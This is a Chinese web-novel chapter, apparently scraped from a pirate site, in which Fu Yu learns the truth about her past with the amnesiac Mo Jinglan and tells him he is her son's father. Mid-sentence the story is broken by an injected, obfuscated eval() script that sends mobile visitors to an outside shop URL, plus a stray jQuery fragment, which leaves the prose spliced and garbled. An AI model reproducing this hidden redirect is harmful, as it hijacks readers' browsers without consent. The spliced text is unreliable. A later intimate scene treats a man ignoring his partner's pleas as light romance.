离砚哥儿的生辰还有一天,芙玉还想到街上去买些装饰的花灯,上次她看到砚哥儿给墨京澜买了一盏兔子灯,想来砚哥儿自己也喜欢。
她来到售卖花灯的摊子前,看到那盏兔子灯,那日,系挂在墨京澜腰间的兔子灯就是这个吧,一摸一样呢。
她拿起来放在手中,很久之前的记忆如推开窗户后迎面而来的微风,轻拂心弦。
还记得那年花灯节,她将亲手扎的兔子灯送给墨京澜,与他来到河边放花灯。
她当时在红条上写下的愿望是希望能和墨京澜一生一世一双人,满心希望河神能够看到她的愿望。
如今看来,河神的传说并不能信。
芙玉悻悻地放下兔子灯,将目光看向其他造型的花灯,仔细挑选着要买下来的花灯。
集市入口的墙面前,阿朝正在命人仔细贴上主君的画像,他不经意地看向那人流较多的热络集市,熙熙攘攘的人群中,他看到一个并不陌生的身影,开始他觉得定然是自己看错了,可他越朝着那个身影走近,眼睛看得越清楚。
不穿罗绮不簪金,面如桃红,柳叶眉樱桃嘴,即便是粗布荆钗也难掩绝色。
阿朝坚决不认为自己会认错,他迈步走过去,声音说出来的那一刻不免有些哽噎,“玉姨娘…玉姨娘真的是你?”
要是主君知道玉姨娘还活着,一定会当场喜极而泣吧!说不定就连眼睛也能奇迹般地重获光明。
芙玉看到阿朝,脸上只是惊讶了一瞬,转而想到前不久墨家的人手就已经出现在济安州,这个时候,不难想到会在千鸢镇见到墨京澜身边的人。
街上人太多,声音也嘈杂,她便带他到附近的一间茶馆里。
“阿朝,别来无恙。”
阿朝心头五味杂陈,震惊与惊喜并存,“玉姨娘,当初那场大火没有夺去您的性命,真是太好了,可是为什么四处找不到您?”
事到如今,她也没什么好隐瞒的了,“那场火是我的族人放的,我也是公冶氏族人。”
“族人?您也是公冶氏,才会放走地下室的那两位公冶氏?”
“是,我当然不想他们永远待在在暗无天日的地下室里。我和墨京澜立场不同,如果营救失败,我也无话可说,只是没想到后来会被人利用反被劫持……过去的事情都已经过去了,我也不想再回想。”
“玉姨娘既然还活着,为什么不回来找主君?”
芙玉想起那时的记忆,唯有门楼下墨京澜的那番话过了这么多年依旧像是插在她心头的一根刺,她低头用茶盖撇去茶汤上的浮沫,眉梢处好似攀上几分愁绪的裂痕,“我为什么要去找他?他说我的死活与他无关,我放走他关在地下室的人,在他心里,我只是个无足轻重的小妾,祈求得到他的怜悯与原谅就是一个笑话。”
阿朝面色骇然,想来主君这些年受尽折磨都是因为这场乌龙,“您误会了主君的话,那些话是说给敌人听的,您怎么能当真呢?当时他们都以为用您的生死能要挟到主君,主君不想您受到伤害,这才把你们之间的关系贬得一文不值。可是主君对你是一片真心。主君知道是你放走那两个关在地下室的公冶氏,就算如此,他也没想过让别人知道这件事是你做的。”
“那天晚上,主君一直看着那片已经烧成黑炭的废墟,最后是体力不支,情绪过于悲恸晕厥过去了,我们才能把他待回墨家。”
芙玉手腕失力,茶盖倏地落在茶碗上,她半垂的眼睫颤动,如折翅后即将坠落的蝴蝶。这才是事实吗?她当时听到的话,是墨京澜的谎言,而她当真了……
“主君他没办法接受你的死亡,眼泪都流干了,我以前从来没想过主君那样的男人,也会连夜连流泪,后来眼睛都哭瞎了,身体也一年比一年差。”
这让她如何原谅自己?芙玉视线一片模糊,她擦干眼底的眼泪,“还有什么我不知道的事情,都说出来吧。”
阿朝如是把这些年墨京澜的变化全都说出来。
墨京澜没有娶妻,且不顾家族规制反对,执意要把芙玉的灵位以正室的地位迁入祖祠。
他隔三差五地要到她的芙蓉苑去,不让里面的每一样东西落灰,每一件物件都是他亲手擦拭。
明明以前是一个对权力有着强烈渴望的人,突然间就变得不在乎了,也仿佛世间已经没有任何能够掀起他心底波澜的事情,心爱的人死了,他也只剩下一具躯壳。
“现在,您还活着,主君却是生死未卜。”
“墨京澜还活着。”
“他若活着,为什么一点音讯都没有?”
“他失忆了。”
“失忆了?等等……玉姨娘您见到主君了?”
“我在林子里找到的他,当时他从山上滚落下来,性命垂危,我将他救醒后,他现在已经记不起以前的任何事情了。”
“……我知道了。”
“现在你要带他走吗?只怕他不愿意。”
“我只是想找到主君,并且保护他,那日主君遇刺,是皇上派来的刺客造成的,主君是对的,他不能继续再待在盛京,皇上的势力已经越来越大……只是,没有想到,尽管主君做到辞官离京的地步,皇上还是不放过他。”
“玉姨娘也不用太担心,我会尽力保护主君,还有你的安全。”
“娘亲!”砚哥儿隔着青纱帘子喊道。
芙玉和阿朝在二楼临窗而坐,行过街道的人有心抬头望去,便能看到窗里喝茶的人。
“你们怎么来了?”芙玉抱紧已经来到身前的砚哥儿,看向不紧不慢地跟着后面的墨京澜,心底的愧疚之意油然而出,这些年来,到底是她误会他了。
“我带着哥儿来买吃的,不巧,从窗户里看到你和这位公子在喝茶,我本来不想让哥儿来打扰你们谈话,但……”
“娘亲说买花灯后就回来,可是我一直没等到娘亲。”
阿朝看到墨京澜的那一刻,先前的所有担忧都已经化为尘土落地,一大一小站在一起,无需思索就能得出两人就是父子的结论,“主君,小公子。”语气中带着许多的兴奋与激动。
砚哥儿没听懂是什么意思,一眼看出这个人来者不善,警惕地说:“你是要带墨叔叔离开的人吗?”
墨京澜道:“砚哥儿放心,我还不会走。”
砚哥儿放心了,紧紧握着墨京澜的手渐渐松了下来。
阿朝倍感困惑地看向芙玉,“叔叔?”
芙玉捂脸,“呃,这件事说来话长,嗯,以后会解释清楚的。”
“主君没事就好。”阿朝向着墨京澜拱手,几乎就要声泪俱下了。
墨京澜往芙玉身边靠近,“我不认识他,我们现在可以回去了吗?”
“主君——”阿朝看起来像是被主人抛弃的小狗,看起来可怜极了。
“他失忆了,不记得你很正常,他连我都不记得。”
“那阿朝告辞了,得把主君已经安全的事情告诉老太君。”
“一路小心,对了。”芙玉抬起手,指尖点了点眉头,说出来真有些难以启齿,“回去记得把那个,灵位销毁。”
阿朝离开后,墨京澜看向芙玉,“他是谁?你们认识?”
“我们先回家,回去后我会把所有事情告诉你。”
“好。”
我们,她说了我们。墨京澜耳尖染着淡淡的薄红,心里不停地回味芙玉说的那句话,整个人身轻如燕,如沐春风。
-
庭院里,芙玉主动地抱住墨京澜,他很惊讶,因为她从前不肯在这里玉他有任何接触。
前面就是香料铺子,里面的客人能能够看到这里的发生的一切。
还是说,现在她已经不用担心会被别人看到他们之间的亲密了么?
“芙玉,你今日怎么了?怎么对我这么好了。”
芙玉撇撇嘴角,“说的什么话,我难道对你不好吗?”
“现在的你,像是要把燃烧我上衣的火焰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17749931|208060||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
她皱起鼻子,“我这样不好么?”
“好,是太好了,好到让我觉得这份好,不是属于我的。”
“说什么傻话?我还觉得对你不够好,如果我当时没有……事情已经发生,懊悔也来不及。”
“那个男人到底和你说了什么?回来后你看我的眼神和之前不同了。”
“他跟我说了很多我不知道的事情,我……之前的自己太蠢了。”
他别过她耳旁的碎发,她摸上他的手背,“晚上我会告诉你很多事情,做好心理准备吧。”
入夜后,芙玉来的很快。
墨京澜此时还在浴桶里,就看到芙玉信步走来。
“来的很快,砚哥儿已经睡下了?”
芙玉绕到他的伸手,手放在他的肩头轻轻捏着,“嗯,我告诉他说,他爹爹并没有死,只是我和他爹爹有误会,现在误会解开了,很快就会和他相认。”
“他的爹爹?是谁?在哪?”
“远在天边近在眼前呀。”
“是我?”
“就是你。”芙玉点点头,她担心他可能一时半会无法接受,但是这个也很正常,她很理解。
墨京澜脸上划过一丝呆滞,缓了半晌,眉梢眼角都仿佛在闪着光,他很适应了芙玉告诉他的新身份,“我们之前就认识,而且还…生了孩子。”
从浴桶里出来后,芙玉手抓着墨京澜腰间松松垮垮的带子,领口一直开到腰间,露出腹部沟壑分明的肌肉线条。
“准备好了吗?”她问道。
他要吻她时,她却推开他,与他面对面地坐在床上,开始从头到尾地阐述了他失去的记忆,是如何遇见,相识,相处……
这其中,就有她当初为什么要说他过去与她不熟的原因。
她也为此,处处提防着他恢复记忆后会带走砚哥儿,故意将砚哥儿年龄说小一岁,还有并不存在的亡夫当幌子,目的就是让他恢复记忆后不会将砚哥儿从她身边带走。
……
然而,这些讲述并没有让他感觉到熟悉,甚至是想起写什么,记忆里还是一片空白,没有任何波澜。
没有过往记忆,他觉得她在说一个与他无关的人。
他只知道,芙玉现在对他如此主动地迎合,是因为她又重新爱上了以前的墨京澜,而不是现在失去记忆的他。
她还在说以前的事情,她难道看不出来他不想听么?也许她并不知道或者不在意,她只想让他恢复记忆,变成以前的那个墨京澜。
他控制不住自己的嫉妒与不甘,芙玉央求的声音只当作没听到,任她如何锤他骂他都无动于衷,甚至还想多听几遍。
气得芙玉翻他好几次白眼。
也就这次,她腰酸腿疼得厉害,两三天都没法正常走路。
墨京澜独守空房整整五日,深知自己当时不该贪心,如今道歉也没用,芙玉已经连房间也不让他进了。
最后一晚上,他在庭院里晾全家人的衣服,转身看到芙玉在房间窗户边上,她招招手,他就像一只闻到骨头的狗,就差没有摇着尾巴跑过去。
进了门,墨京澜便抬起双臂,脱下汗湿的短袖衫,露出精壮的胸膛,肌肉线条清晰起伏。
他刚洗完衣服,尽管流了汗,身上也还带着洗衣服用的花露香,并没有丝毫的汗臭味。
她顺从地让他抱着吻了一会,“好了,先去洗一下。”
“和我一起。”他真怕她过了一会又改变主意。
“不要,你自己去。”
“不让你碰水,就在旁边。”
“你又不是小孩子,自己去。”
“那你今晚不许反悔了。”墨京澜哑着声,得到她点头回应后,像是费了很大力气才将她松开。
“不反悔不反悔,可你不准像那天一样了,听到没有?”她是真怕了他那次,想想就腰酸。
事实证明,男人饿一饿就懂事了,且容易知足,不会贪多。